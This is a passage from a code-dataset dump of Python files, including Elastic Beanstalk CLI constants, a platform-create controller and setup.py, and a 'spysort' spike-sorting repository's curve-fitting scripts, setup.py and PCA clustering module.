\"logs:CreateLogGroup\",\n \"logs:CreateLogStream\",\n \"logs:PutLogEvents\",\n \"logs:DescribeLogStreams\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"arn:aws:logs:*:*:log-group:/aws/elasticbeanstalk/platform/*\"\n }\n ]\n }\"\"\"\n\n\nclass iam_attributes(object):\n DEFAULT_PLATFORM_BUILDER_ROLE = 'aws-elasticbeanstalk-custom-platform-ec2-role'\n PLATFORM_BUILDER_INLINE_POLICY_NAME = 'EB_Custom_Platform_Builder_Policy'\n\n\nclass namespaces(object):\n AUTOSCALING = 'aws:autoscaling:asg'\n COMMAND = 'aws:elasticbeanstalk:command'\n RDS = 'aws:rds:dbinstance'\n ENVIRONMENT = 'aws:elasticbeanstalk:environment'\n HEALTH_CHECK = 'aws:elb:healthcheck'\n HEALTH_SYSTEM = 'aws:elasticbeanstalk:healthreporting:system'\n LAUNCH_CONFIGURATION = 'aws:autoscaling:launchconfiguration'\n LOAD_BALANCER = 'aws:elb:loadbalancer'\n ELB_POLICIES = 'aws:elb:policies'\n ROLLING_UPDATES = 'aws:autoscaling:updatepolicy:rollingupdate'\n VPC = 'aws:ec2:vpc'\n CLOUDWATCH_LOGS = 'aws:elasticbeanstalk:cloudwatch:logs'\n\n\nclass option_names(object):\n BATCH_SIZE = 'BatchSize'\n BATCH_SIZE_TYPE = 'BatchSizeType'\n CONNECTION_DRAINING = 'ConnectionDrainingEnabled'\n CROSS_ZONE = 'CrossZone'\n DB_DELETION_POLICY = 'DBDeletionPolicy'\n DB_ENGINE = 'DBEngine'\n DB_ENGINE_VERSION = 'DBEngineVersion'\n DB_INSTANCE = 'DBInstanceClass'\n DB_PASSWORD = '<PASSWORD>'\n DB_STORAGE_SIZE = 'DBAllocatedStorage'\n DB_SUBNETS = 'DBSubnets'\n DB_USER = 'DBUser'\n EC2_KEY_NAME = 'EC2KeyName'\n ELB_SCHEME = 'ELBScheme'\n ELB_SUBNETS = 'ELBSubnets'\n ENVIRONMENT_TYPE = 'EnvironmentType'\n IAM_INSTANCE_PROFILE = 'IamInstanceProfile'\n INSTANCE_TYPE = 'InstanceType'\n INTERVAL = 'Interval'\n LOAD_BALANCER_HTTP_PORT = 'LoadBalancerHTTPPort'\n LOAD_BALANCER_HTTPS_PORT = 'LoadBalancerHTTPSPort'\n LOAD_BALANCER_TYPE = 'LoadBalancerType'\n MAX_SIZE = 'MaxSize'\n MIN_SIZE = 'MinSize'\n PUBLIC_IP = 'AssociatePublicIpAddress'\n ROLLING_UPDATE_ENABLED = 'RollingUpdateEnabled'\n ROLLING_UPDATE_TYPE = 'RollingUpdateType'\n SECURITY_GROUPS = 'SecurityGroups'\n SERVICE_ROLE = 'ServiceRole'\n SUBNETS = 'Subnets'\n SSL_CERT_ID = 'SSLCertificateId'\n SYSTEM_TYPE = 'SystemType'\n VPC_ID = 'VPCId'\n STREAM_LOGS = 'StreamLogs'\n DELETE_ON_TERMINATE = 'DeleteOnTerminate'\n RETENTION_DAYS = 'RetentionInDays'\n\n\nclass elb_names(object):\n HEALTHY_STATE = 'healthy'\n UNHEALTHY_STATE = 'unhealthy'\n V2_RESOURCE_TYPE = 'AWS::ElasticLoadBalancingV2::TargetGroup'\n DEFAULT_PROCESS_LOGICAL_ID = 'AWSEBV2LoadBalancerTargetGroup'\n CLASSIC_VERSION = 'classic'\n APPLICATION_VERSION = 'application'\n", "id": "11598517", "language": "Python", "matching_score": 5.058691024780273, "max_stars_count": 0, "path": "ebcli/resources/statics.py" }, { "content": "# Copyright 2015 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\nfrom ebcli.core import fileoperations, io\nfrom ebcli.core.abstractcontroller import AbstractBaseController\nfrom ebcli.core.fileoperations import write_config_setting\nfrom ebcli.lib import iam\nfrom ebcli.objects.exceptions import NotInitializedError, NotAuthorizedError, AlreadyExistsError\nfrom ebcli.operations import platformops\nfrom ebcli.operations.platformops import create_platform_version\nfrom ebcli.resources.strings import strings, flag_text, prompts\nfrom ebcli.resources.statics import iam_attributes, iam_documents\n\n\nclass GenericPlatformCreateController(AbstractBaseController):\n class Meta:\n description = strings['platformcreateversion.info']\n arguments = [\n (['version'], dict(action='store', nargs='?', default=None, help=flag_text['platformcreateversion.version'])),\n (['-M', '--major-increment'], dict(action='store_true', help=flag_text['platformcreateversion.major'])),\n (['-m', '--minor-increment'], dict(action='store_true', help=flag_text['platformcreateversion.minor'])),\n (['-p', '--patch-increment'], dict(action='store_true', help=flag_text['platformcreateversion.patch'])),\n (['-i', '--instance-type'], dict(help=flag_text['create.itype'])),\n (['-ip', '--instance_profile'], dict(action='store', help=flag_text['platformcreate.instanceprofile'])),\n (['--vpc.id'], dict(dest='vpc_id', help=flag_text['platformcreateversion.vpc.id'])),\n (['--vpc.subnets'], dict(dest='vpc_subnets', help=flag_text['platformcreateversion.vpc.subnets'])),\n (['--vpc.publicip'], dict(action='store_true', dest='vpc_publicip', help=flag_text['platformcreateversion.vpc.publicip']))\n ]\n epilog = strings['platformcreateversion.epilog']\n\n @classmethod\n def clone(cls):\n return type('Meta', cls.__bases__, dict(cls.__dict__))\n\n def do_command(self):\n self.get_instance_profile()\n\n create_platform_version(\n self.app.pargs.version,\n self.app.pargs.major_increment,\n self.app.pargs.minor_increment,\n self.app.pargs.patch_increment,\n self.app.pargs.instance_type,\n { 'id': self.app.pargs.vpc_id, 'subnets': self.app.pargs.vpc_subnets, 'publicip': self.app.pargs.vpc_publicip })\n\n # TODO: Merge into ebcli/lib/iam_role.py when the code has been merged in\n def get_instance_profile(self):\n # Check to see if it was specified on the command line\n profile = self.app.pargs.instance_profile\n\n if profile is None:\n try:\n # Check to see if it is associated with the workspace\n profile = fileoperations.get_instance_profile()\n except NotInitializedError:\n pass\n\n if profile is None:\n # Check to see if the default instance profile already exists\n try:\n existing_profiles = iam.get_instance_profile_names()\n if iam_attributes.DEFAULT_PLATFORM_BUILDER_ROLE in existing_profiles:\n profile = iam_attributes.DEFAULT_PLATFORM_BUILDER_ROLE\n except NotAuthorizedError:\n io.log_warning(strings['platformcreateiamdescribeerror.info'])\n\n if profile is None:\n # We will now create the default role for the customer\n try:\n profile = iam_attributes.DEFAULT_PLATFORM_BUILDER_ROLE\n try:\n iam.create_instance_profile(profile)\n io.log_info(strings['platformcreateiamcreated.info'])\n except AlreadyExistsError:\n pass\n\n document = iam_documents.EC2_ASSUME_ROLE_PERMISSION\n try:\n # Create a role with the same name\n iam.create_role(profile, document)\n\n # Attach required custom platform builder permissions\n iam.put_role_policy(\n profile,\n iam_attributes.PLATFORM_BUILDER_INLINE_POLICY_NAME,\n iam_documents.CUSTOM_PLATFORM_BUILDER_INLINE_POLICY)\n # Associate instance profile with the required role\n iam.add_role_to_profile(profile, profile)\n io.log_info(strings['platformcreateiampolicyadded.info'])\n except AlreadyExistsError:\n # If the role exists then we leave it as is, we do not try to add or modify its policies\n pass\n\n except NotAuthorizedError:\n io.log_warning(strings['platformcreateiamcreateerror.info'])\n\n # Save to disk\n write_config_setting('global', 'instance_profile', profile)\n\n\nclass PlatformCreateController(GenericPlatformCreateController):\n Meta = GenericPlatformCreateController.Meta.clone()\n Meta.label = 'platform create'\n Meta.aliases = ['create']\n Meta.aliases_only = True\n Meta.stacked_on = 'platform'\n Meta.stacked_type = 'nested'\n Meta.usage = 'eb platform create <version> [options...]'\n\n\nclass EBPCreateController(GenericPlatformCreateController):\n Meta = GenericPlatformCreateController.Meta.clone()\n Meta.label = 'create'\n Meta.usage = 'ebp create <version> [options...]'\n", "id": "3675328", "language": "Python", "matching_score": 1.0330740213394165, "max_stars_count": 0, "path": "ebcli/controllers/platform/create.py" }, { "content": "#!/usr/bin/env python\nimport sys\n\nfrom setuptools import setup, find_packages\n\nimport ebcli\n\nrequires = ['pyyaml>=3.11',\n 'botocore>=1.0.1',\n 'cement==2.8.2',\n 'colorama==0.3.7',\n 'pathspec==0.5.0',\n 'setuptools >= 20.0',\n ## For docker-compose\n 'docopt >= 0.6.1, < 0.7',\n 'requests >= 2.6.1, <= 2.9.1',\n 'websocket-client >= 0.11.0, < 1.0',\n 'docker-py >= 1.1.0, <= 1.7.2',\n 'dockerpty >= 0.3.2, <= 0.4.1',\n 'semantic_version == 2.5.0',\n 'tabulate == 0.7.5',\n 'termcolor == 1.1.0',\n ]\n\ntesting_requires = ['pytest>=3.03',\n 'mock>=2.0.0',\n 'nose>=1.3.7']\n\nif not sys.platform.startswith('win'):\n requires.append('blessed>=1.9.5')\n\ntry:\n with open('/etc/bash_completion.d/eb_completion.extra', 'w') as eo:\n eo.write('')\n data_files = [\n ('/etc/bash_completion.d/', ['bin/eb_completion.bash'])\n ]\nexcept:\n # print('User does not have write access to /etc. Completion will not work.')\n data_files = []\n\nsetup_options = dict(\n name='awsebcli',\n version=ebcli.__version__,\n description='Command Line Interface for AWS EB.',\n long_description=open('README.rst').read() + open('CHANGES.rst').read(),\n scripts=['bin/eb', 'bin/eb_completion.bash'],\n data_files=data_files,\n author='<NAME>',\n author_email='<EMAIL>',\n url='http://aws.amazon.com/elasticbeanstalk/',\n packages=find_packages('.', exclude=['tests*', 'docs*', 'sampleApps*', 'scripts*']),\n package_dir={'ebcli': 'ebcli'},\n package_data={\n 'ebcli.lib': ['botocoredata/*/*/*.json'],\n 'ebcli.containers': ['containerfiles/*'],\n 'ebcli.labs': ['cloudwatchfiles/*.config']},\n install_requires=requires,\n license=\"Apache License 2.0\",\n classifiers=(\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Developers',\n 'Intended Audience :: System Administrators',\n 'Natural Language :: English',\n 'License :: OSI Approved :: Apache Software License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n ),\n entry_points={\n 'console_scripts': [\n 'eb=ebcli.core.ebcore:main',\n 'ebp=ebcli.core.ebpcore:main'\n ]\n },\n)\n\ndef _unpack_eggs(egg_list):\n import os\n for pkg in egg_list:\n import pkg_resources\n eggs = pkg_resources.require(pkg)\n from setuptools.archive_util import unpack_archive\n for egg in eggs:\n if os.path.isdir(egg.location):\n sys.path.insert(0, egg.location)\n continue\n unpack_archive(egg.location, os.path.abspath(os.path.dirname(egg.location)))\n\n\nif 'py2exe' in sys.argv:\n data_files = setup_options['package_data']\n # This will actually give us a py2exe command.\n import py2exe\n import cement.ext\n import pkgutil\n import encodings\n # We need to manually include all cement.ext modules since py2exe doesnt\n # pull them in.\n _unpack_eggs(['jmespath', 'python-dateutil', 'pyyaml'])\n includes = []\n for importer, modname, ispkg in pkgutil.iter_modules(cement.ext.__path__):\n includes.append('cement.ext.' + modname)\n # And we have some py2exe specific options.\n setup_options['options'] = {\n 'py2exe': {\n 'includes': ['encodings'] + includes,\n 'excludes': ['Tkinter', 'tcl'],\n 'optimize': 0,\n 'skip_archive': True,\n 'packages': ['ebcli'],\n }\n }\n setup_options['console'] = ['bin/eb', 'bin/ebp']\n\nsetup(**setup_options)\n\nif 'py2exe' in sys.argv:\n # After py2exe is done we need to import all the data files botocore\n # relies on\n import shutil\n import os\n from subprocess import Popen, PIPE\n\n def run(cmd):\n sys.stdout.write(\"Running cmd: %s\\n\" % cmd)\n p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE, env=os.environ)\n stdout, stderr = p.communicate()\n if p.returncode != 0:\n raise Exception(\"Bad rc (%d): %s\" % (p.returncode, stdout + stderr))\n return stdout + stderr\n\n def copy_data_directories():\n # We need to move the .json files in awscli and botocore\n # into the dist/ dir.\n python = sys.executable\n boto_data = run(\"\"\"%s -c \"from ebcli.bundled import botocore; import os; print(os.path.join(os.path.dirname(botocore.__file__), 'data'))\" \"\"\" % python).strip()\n print(boto_data)\n shutil.copytree(boto_data, os.path.join('dist', 'ebcli', 'bundled', 'botocore', 'data'))\n\n def copy_ca_cert():\n # We need the cacert.pem from the requests library so we have\n # to copy that in dist.\n python = sys.executable\n ca_cert = run(\"\"\"%s -c \"from ebcli.bundled.botocore.vendored import requests; import os; print(os.path.join(os.path.dirname(requests.__file__), 'cacert.pem'))\" \"\"\" % python).strip()\n shutil.copy(ca_cert, os.path.join('dist', 'ebcli', 'bundled', 'botocore', 'vendored', 'requests', 'cacert.pem'))\n\n copy_data_directories()\n copy_ca_cert()\n", "id": "11352654", "language": "Python", "matching_score": 0.17854858934879303, "max_stars_count": 4, "path": "setup.py" } ]
1.033074
mgraupe
[ { "content": "\"\"\"\n\"\"\"\n\nimport version\n__version__ = version.version\n", "id": "7956884", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "spysort/__init__.py" }, { "content": "version = '1.0.0-Beta'\n", "id": "2430170", "language": "Python", "matching_score": 0.18390533328056335, "max_stars_count": 7, "path": "spysort/version.py" }, { "content": "from scipy import stats\nimport numpy as np\nfrom scipy.optimize import minimize\nimport pylab as plt\n\n\nlat1 = np.random.exponential(scale=0.5,size=1000)\nlat2 = np.random.exponential(scale=5.,size=1000)\n\nlatencies = np.concatenate((lat1,lat2))\n\ncc, bbRaw = np.histogram(latencies,bins=1000,density=True)\nbb = (bbRaw[:-1]+bbRaw[1:])/2.\n\nsortedLate = np.sort(latencies)\ncumul = np.cumsum(np.ones(len(sortedLate)))/len(sortedLate)\n\n#ydata = np.array([0.1,0.15,0.2,0.3,0.7,0.8,0.9, 0.9, 0.95])\n#xdata = np.array(range(0,len(ydata),1))\n\ndef doubleExponentialCumul(xdata,t1,t2,beta):\n return beta*(1. - np.exp(-xdata/t1)) + (1.-beta)*(1. - np.exp(-xdata/t2))\n\ndef doubleExponential(xdata,k1,k2,theta):\n return theta*np.exp(-xdata/k1)/k1 + (1.-theta)*np.exp(-xdata/k2)/k2\n\ndef doubleExponentialCumulLLE(params):\n t1 = params[0]\n t2 = params[1]\n beta = params[2]\n sd = params[3]\n\n yPredC = doubleExponentialCumul(sortedLate,t1,t2,beta)\n #yPred = 1 / (1+ np.exp(-k*(xdata-x0)))\n\n # Calculate negative log likelihood\n LL = -np.sum( stats.norm.logpdf(cumul, loc=yPredC, scale=sd ) )\n return(LL)\n\ndef doubleExponentialLLE(params):\n k1 = params[0]\n k2 = params[1]\n theta = params[2]\n #amp = params[3]\n sd = params[3]\n\n yPred = doubleExponential(bb,k1,k2,theta)\n #yPred = 1 / (1+ np.exp(-k*(xdata-x0)))\n\n # Calculate negative log likelihood\n LL = -np.sum( stats.norm.logpdf(cc, loc=yPred, scale=sd ) )\n\n return(LL)\n\n\ninitParamsDECumul = [0.1, 3., 0.6, 0.1]\n\nresultsDEC = minimize(doubleExponentialCumulLLE, initParamsDECumul, method='Nelder-Mead')\nprint 'cumulative double exponential fit results', resultsDEC.x\nprint 'cumulative double exponential MLE :', doubleExponentialCumulLLE(resultsDEC.x)\n\ninitParamsDE = [0.1, 3., 0.6, 0.1]\nresultsDE = minimize(doubleExponentialLLE, initParamsDE, method='Nelder-Mead')\nprint 'histogram fit results :', resultsDE.x\nprint 'histogram double exponential MLE :', doubleExponentialLLE(resultsDE.x)\n\n\nestParmsDEC = resultsDEC.x\nyOutDEC = doubleExponentialCumul(sortedLate,estParmsDEC[0],estParmsDEC[1],estParmsDEC[2]) # 1 / (1+ np.exp(-estParms[0]*(xdata-estParms[1])))\n\nestParmsDE = resultsDE.x\nyOutDE = doubleExponential(bb,estParmsDE[0],estParmsDE[1],estParmsDE[2]) # 1 / (1+ np.exp(-estParms[0]*(xdata-estParms[1])))\n\nplt.clf()\nplt.plot(bb,cc, 'o')\nplt.plot(sortedLate,cumul, 'o')\nplt.plot(sortedLate, yOutDEC)\nplt.plot(bb, yOutDE)\n#plt.hist(cc-yOutDE)\nplt.show()\n\n", "id": "5763258", "language": "Python", "matching_score": 5.2079620361328125, "max_stars_count": 0, "path": "exponentialTest.py" }, { "content": "from scipy import stats\nimport numpy as np\nfrom scipy.optimize import minimize\nimport pylab as plt\nimport scipy\n\nlatencies = np.loadtxt('latencies.txt')\n\nsortedLate = np.sort(latencies)\ncumul = np.cumsum(np.ones(len(sortedLate)))/len(sortedLate)\n\npolycoeffs = scipy.polyfit(sortedLate[sortedLate>30], cumul[sortedLate>30], 1)\nprint polycoeffs\nyfit = scipy.polyval(polycoeffs, sortedLate)\n\n#ydata = np.array([0.1,0.15,0.2,0.3,0.7,0.8,0.9, 0.9, 0.95])\n#xdata = np.array(range(0,len(ydata),1))\n\ndef singleExponential(xdata,k):\n return (1. - np.exp(-xdata/k))\n\ndef doubleExponential(xdata,k1,k2,theta):\n return theta*(1. - np.exp(-xdata/k1)) + (1.-theta)*(1. - np.exp(-xdata/k2))\n\ndef singleExponentialLLE(params):\n k = params[0]\n #x0 = params[1]\n sd = params[1]\n\n yPred = singleExponential(sortedLate[sortedLate<30],k)\n #yPred = 1 / (1+ np.exp(-k*(xdata-x0)))\n\n # Calculate negative log likelihood\n LL = -np.sum( stats.norm.logpdf((cumul-yfit)[sortedLate<30]+1., loc=yPred, scale=sd ) )\n\n return(LL)\n\ndef doubleExponentialLLE(params):\n k1 = params[0]\n k2 = params[1]\n theta = params[2]\n sd = params[3]\n\n yPred = doubleExponential(sortedLate[sortedLate<30],k1,k2,theta)\n #yPred = 1 / (1+ np.exp(-k*(xdata-x0)))\n\n # Calculate negative log likelihood\n LL = -np.sum( stats.norm.logpdf((cumul-yfit)[sortedLate<30]+1., loc=yPred, scale=sd ) )\n\n return(LL)\n\n\ninitParamsSE = [1, 1]\n\nresultsSE = minimize(singleExponentialLLE, initParamsSE, method='Nelder-Mead')\nprint resultsSE.x\nprint 'single exponential :', singleExponentialLLE(resultsSE.x)\n\ninitParamsDE = [2., 30., 0.1, 1]\n\nresultsDE = minimize(doubleExponentialLLE, initParamsDE, method='Nelder-Mead')\nprint resultsDE.x\nprint 'double exponential :', doubleExponentialLLE(resultsDE.x)\n\n\nestParmsSE = resultsSE.x\nyOutSE = singleExponential(sortedLate,estParmsSE[0]) # 1 / (1+ np.exp(-estParms[0]*(xdata-estParms[1])))\n\nestParmsDE = resultsDE.x\nyOutDE = doubleExponential(sortedLate,estParmsDE[0],estParmsDE[1],estParmsDE[2]) # 1 / (1+ np.exp(-estParms[0]*(xdata-estParms[1])))\n\nplt.clf()\nplt.plot(sortedLate,(cumul-yfit)+1., 'go')\nplt.plot(sortedLate, yOutSE)\nplt.plot(sortedLate, yOutDE)\nplt.plot(sortedLate,yfit)\nplt.show()\n\n", "id": "9431816", "language": "Python", "matching_score": 6.345676898956299, "max_stars_count": 0, "path": "loglikely.py" }, { "content": "from scipy import stats\nimport numpy as np\nfrom scipy.optimize import minimize\nimport pylab as plt\n\nlatencies = np.loadtxt('latencies.txt')\n\ncc, bbRaw = np.histogram(latencies,bins=50,density=True)\nbb = (bbRaw[:-1]+bbRaw[1:])/2.\n\n#ydata = np.array([0.1,0.15,0.2,0.3,0.7,0.8,0.9, 0.9, 0.95])\n#xdata = np.array(range(0,len(ydata),1))\n\ndef singleExponential(xdata,k):\n return np.exp(-xdata/k)\n\ndef doubleExponential(xdata,k1,k2,theta):\n return theta*np.exp(-xdata/k1) + (1.-theta)*np.exp(-xdata/k2)\n\ndef singleExponentialLLE(params):\n k = params[0]\n #x0 = params[1]\n sd = params[1]\n\n yPred = singleExponential(bb,k)\n #yPred = 1 / (1+ np.exp(-k*(xdata-x0)))\n\n # Calculate negative log likelihood\n LL = -np.sum( stats.norm.logpdf(cc, loc=yPred, scale=sd ) )\n\n return(LL)\n\ndef doubleExponentialLLE(params):\n k1 = params[0]\n k2 = params[1]\n theta = params[2]\n sd = params[3]\n\n yPred = doubleExponential(bb,k1,k2,theta)\n #yPred = 1 / (1+ np.exp(-k*(xdata-x0)))\n\n # Calculate negative log likelihood\n LL = -np.sum( stats.norm.logpdf(cc, loc=yPred, scale=sd ) )\n\n return(LL)\n\n\ninitParamsSE = [1., 0.2]\n\nresultsSE = minimize(singleExponentialLLE, initParamsSE, method='Nelder-Mead')\nprint resultsSE.x\nprint 'single exponential :', singleExponentialLLE(resultsSE.x)\n\ninitParamsDE = [0.5, 3., 0.8, 0.1]\n\nresultsDE = minimize(doubleExponentialLLE, initParamsDE, method='Nelder-Mead')\nprint resultsDE.x\nprint 'double exponential :', doubleExponentialLLE(resultsDE.x)\n\n\nestParmsSE = resultsSE.x\nyOutSE = singleExponential(bb,estParmsSE[0]) # 1 / (1+ np.exp(-estParms[0]*(xdata-estParms[1])))\n\nestParmsDE = resultsDE.x\nyOutDE = doubleExponential(bb,estParmsDE[0],estParmsDE[1],estParmsDE[2]) # 1 / (1+ np.exp(-estParms[0]*(xdata-estParms[1])))\n\nplt.clf()\nplt.plot(bb,cc, 'go')\nplt.plot(bb, yOutSE)\nplt.plot(bb, yOutDE)\n#plt.hist(cc-yOutDE)\nplt.show()\n\n", "id": "5154021", "language": "Python", "matching_score": 0.6237367391586304, "max_stars_count": 0, "path": "mle_histogram.py" }, { "content": "import numpy as np\nfrom mle import var, Normal\nimport matplotlib.pyplot as plt\nimport pdb\n\nlatencies = np.loadtxt('latencies.txt')\n\nsortedLate = np.sort(latencies)\ncumul = np.cumsum(np.ones(len(sortedLate)))/len(sortedLate)\n\n\n\n#pdb.set_trace()\n\n# Define model\nx = var('x', observed=True, vector=True)\ny = var('y', observed=True, vector=True)\n\nk = var('k')\nsigma1 = var('sigma1')\n\nmodel1 = Normal(y, (1.-np.exp(-k*x)), sigma1)\n\nk1 = var('k1')\nk2 = var('k2')\ntheta = var('theta')\nsigma2 = var('sigma2')\n\nmodel2 = Normal(y,( theta*(1.-np.exp(-k1*x)) + (1.-theta)*(1.-np.exp(-k2*x)) ), sigma2)\n# Generate data\n#xs = np.linspace(0, 2, 20)\n#ys = 0.5 * xs + 0.3 + np.random.normal(0, 0.1, 20)\n\n# Fit model to data\nresult1 = model1.fit({'x': sortedLate, 'y': cumul}, {'k': 1, 'sigma1': 1})\nresult2 = model2.fit({'x': sortedLate, 'y': cumul}, {'k1': 0.1, 'k2' : 1., 'theta' : 0.5, 'sigma2': 1})\n\nprint(result1)\nprint(result2)\n\n\n#plt.plot(sortedLate,cumul/len(cumul))\n#plt.show()", "id": "7272198", "language": "Python", "matching_score": 0.20690400898456573, "max_stars_count": 0, "path": "latenciesMLIfitting.py" }, { "content": "# -*- coding: utf-8 -*-\nfrom setuptools import setup\n\nfrom spysort.version import version\n\nlong_description = open(\"README.md\").read()\n\ninstall_requires = ['numpy>=1.3.0', 'pandas>=0.12.0', 'scipy>=0.9.0',\n 'matplotlib>=1.1.0', 'sqlalchemy>=0.7',\n 'scikit-learn>=0.11', ]\n\nsetup(name=\"spysort\",\n version=version,\n packages=['spysort', 'spysort.ReadData',\n 'spysort.Events', 'examples', 'doc'],\n include_package_data=True,\n install_requires=install_requires,\n requires=[],\n author=\"<NAME> and <NAME>\",\n author_email=\"<EMAIL>\",\n maintainer=\"<NAME>\",\n maintainer_email=\"<EMAIL>\",\n long_description=long_description,\n url='https://github.com/gdetor/SPySort/',\n license=\"BSD\",\n description=\"SPySort: Spike Sorting toolbox\",\n classifiers=['Development Status :: 1 - Alpha',\n 'Intended Audience :: Neuroscience/Research',\n 'License :: BSD License',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2',\n 'Topic :: Scientific/Engineering :: Neuroscience'\n ], )\n", "id": "11476977", "language": "Python", "matching_score": 0.4588274359703064, "max_stars_count": 7, "path": "setup.py" }, { "content": "from spysort.Events import events\n\nimport numpy as np\nimport pandas as pd\nfrom numpy.linalg import svd\nimport matplotlib.pylab as plt\nfrom sklearn.mixture import GMM\nfrom sklearn.cluster import KMeans\nfrom scipy.cluster.vq import kmeans\nfrom scipy.spatial.distance import pdist\nfrom pandas.tools.plotting import scatter_matrix\nfrom spysort.functions import mad, good_evts_fct\nfrom scipy.cluster.hierarchy import linkage, fcluster, dendrogram\n\n\nclass pca_clustering(events.build_events):\n \"\"\" Clustering methods and dimension-reduction techniques \"\"\"\n def __init__(self, data, positions, win, thr=8, before=14, after=30):\n \"\"\" Performs the cleaning of the events and a singular value\n decomposition in order to obtain the principal components of the\n data.\n\n **Parameters**\n\n data : double\n The normalized data\n\n positions : int\n A numpy array that contains the spike events times\n\n win : double (array)\n The filtering window (can be a boxcar, winner, etc)\n\n thr : double\n The threshold value used during filtering\n\n before : int\n The number of sampling point to keep before the peak\n\n after : int\n The number of sampling point to keep after the peak\n \"\"\"\n events.build_events.__init__(self, data, positions, win, before, after)\n # Convert the list of events to a numpy array\n self.evts = np.asarray(self.mkEvents())\n # Convert the list of noise events to a numpy array\n self.noise = np.asarray(self.mkNoise())\n # Compute the clean events\n # self.goodEvts = good_evts_fct(self.evts, thr)\n self.goodEvts = self.sieve(good_evts_fct, self.evts, thr)\n # Compute the covariance matrix\n varcovmat = np.cov(self.evts[self.goodEvts, :].T)\n # Perform a singular value decomposition\n self.U, self.S, self.V = svd(varcovmat)\n\n def plotMeanPca(self):\n \"\"\" Plots the mean of the data plus-minus the principal components \"\"\"\n evt_idx = range(self.evts.shape[1])\n evts_good_mean = np.mean(self.evts[self.goodEvts, :], 0)\n for i in range(4):\n plt.subplot(2, 2, i+1)\n plt.plot(evt_idx, evts_good_mean, 'k',\n evt_idx, evts_good_mean + 5 * self.U[:, i], 'r',\n evt_idx, evts_good_mean - 5 * self.U[:, i], 'b')\n plt.title('PC' + str(i) + ': ' + str(round(self.S[i]/sum(self.S) *\n 100)) + '%')\n\n def pcaVariance(self, n_pca):\n \"\"\" Returns the variance of the principal components.\n\n **Parameters**\n\n n_pca : int\n Number of principal components to be taken into account\n\n **Returns**\n\n The variance of the principal component analysis.\n \"\"\"\n noiseVar = sum(np.diag(np.cov(self.noise.T)))\n evtsVar = sum(self.S)\n return [(i, sum(self.S[:i]) + noiseVar - evtsVar) for i in\n range(n_pca)]\n\n def plotPcaProjections(self, pca_components=(0, 4)):\n \"\"\" Plots the principal components projected on the data.\n\n **Parameters**\n\n pca_components : int (tuple)\n The number of the principal components to be projected\n \"\"\"\n tmp = np.dot(self.evts[self.goodEvts, :],\n self.U[:, pca_components[0]:pca_components[1]])\n df = pd.DataFrame(tmp)\n scatter_matrix(df, alpha=.2, s=4, c='k', figsize=(5, 5),\n diagonal='kde', marker=\".\")\n\n def KMeans(self, n_clusters, init='k-means++', n_init=100, max_iter=100,\n n_pca=(0, 3)):\n \"\"\" It computes the k-means clustering over the dimension-reducted\n data.\n\n **Parameters**\n\n n_clusters : int\n The number of the clusters\n\n init : string\n Method for initialization (see scikit-learn K-Means for more\n information)\n\n n_init : int\n Number of time the k-means algorithm will be run with different\n centroid seeds\n\n max_iter : int\n Maximum number of iterations of the k-means algorithm for a\n single run\n\n n_pca : int (tuple)\n Chooses which PCs are used\n\n **Returns**\n The indices for each neuron cluster.\n \"\"\"\n km = KMeans(n_clusters=n_clusters, init=init, n_init=n_init,\n max_iter=max_iter)\n km.fit(np.dot(self.evts[self.goodEvts, :],\n self.U[:, n_pca[0]:n_pca[1]]))\n c = km.fit_predict(np.dot(self.evts[self.goodEvts, :],\n self.U[:, n_pca[0]:n_pca[1]]))\n\n c_med = list([(i, np.apply_along_axis(np.median, 0,\n self.evts[self.goodEvts, :][c == i, :])) for i in\n range(10) if sum(c == i) > 0])\n c_size = list([np.sum(np.abs(x[1])) for x in c_med])\n new_order = list(reversed(np.argsort(c_size)))\n new_order_reverse = sorted(range(len(new_order)),\n key=new_order.__getitem__)\n return [new_order_reverse[i] for i in c]\n\n def GMM(self, n_comp, cov_type, n_iter=100, n_init=100, init_params='wmc',\n n_pca=(0, 3)):\n \"\"\" It clusters the data points using a Gaussian Mixture Model.\n\n ** Parameters **\n\n n_comp : int\n Number of mixture components\n\n cov_type : string\n Covarianve parameters to use\n\n n_iter : int\n Number of EM iterations to perform\n\n n_init : int\n Number of initializations to perform\n\n init_params : string\n Controls which parameters are updated in the training process.\n\n n_pca : int (tuple)\n Controls which PCs are used\n\n **Returns**\n The indices for each cluster.\n \"\"\"\n gmm = GMM(n_components=n_comp, covariance_type=cov_type, n_iter=n_iter,\n n_init=n_init, init_params=init_params)\n\n gmm.fit(np.dot(self.evts[self.goodEvts, :],\n self.U[:, n_pca[0]:n_pca[1]]))\n\n c = gmm.predict(np.dot(self.evts[self.goodEvts, :],\n self.U[:, n_pca[0]:n_pca[1]]))\n\n c_med = list([(i, np.apply_along_axis(np.median, 0,\n self.evts[self.goodEvts, :][c == i, :])) for i in\n range(10) if sum(c == i) > 0])\n c_size = list([np.sum(np.abs(x[1])) for x in c_med])\n new_order = list(reversed(np.argsort(c_size)))\n new_order_reverse = sorted(range(len(new_order)),\n key=new_order.__getitem__)\n return [new_order_reverse[i] for i in c]\n\n # TODO: To finish the bagged clustering routine\n def bagged_clustering(self, n_bootstraps, n_samples, n_iter,\n show_dendro=False, n_pca=(0, 3)):\n \"\"\" Performs a bagged clustering (using hierarchical clustering and\n k-means) on the events data.\n\n ** Parameters **\n\n n_bootstraps : int\n Number of bootstraped samples to create\n\n n_samples : int\n Number of samples each bootstraped set contains\n\n n_iter : int\n The maximum number of k-Means iterations\n\n show_dendro : boolean\n If it's true the method displays the dendrogram\n\n n_pca : int (tuple)\n The number of PCs which are used\n \"\"\"\n\n B, N = n_bootstraps, n_samples\n data = np.dot(self.evts[self.goodEvts, :],\n self.U[:, 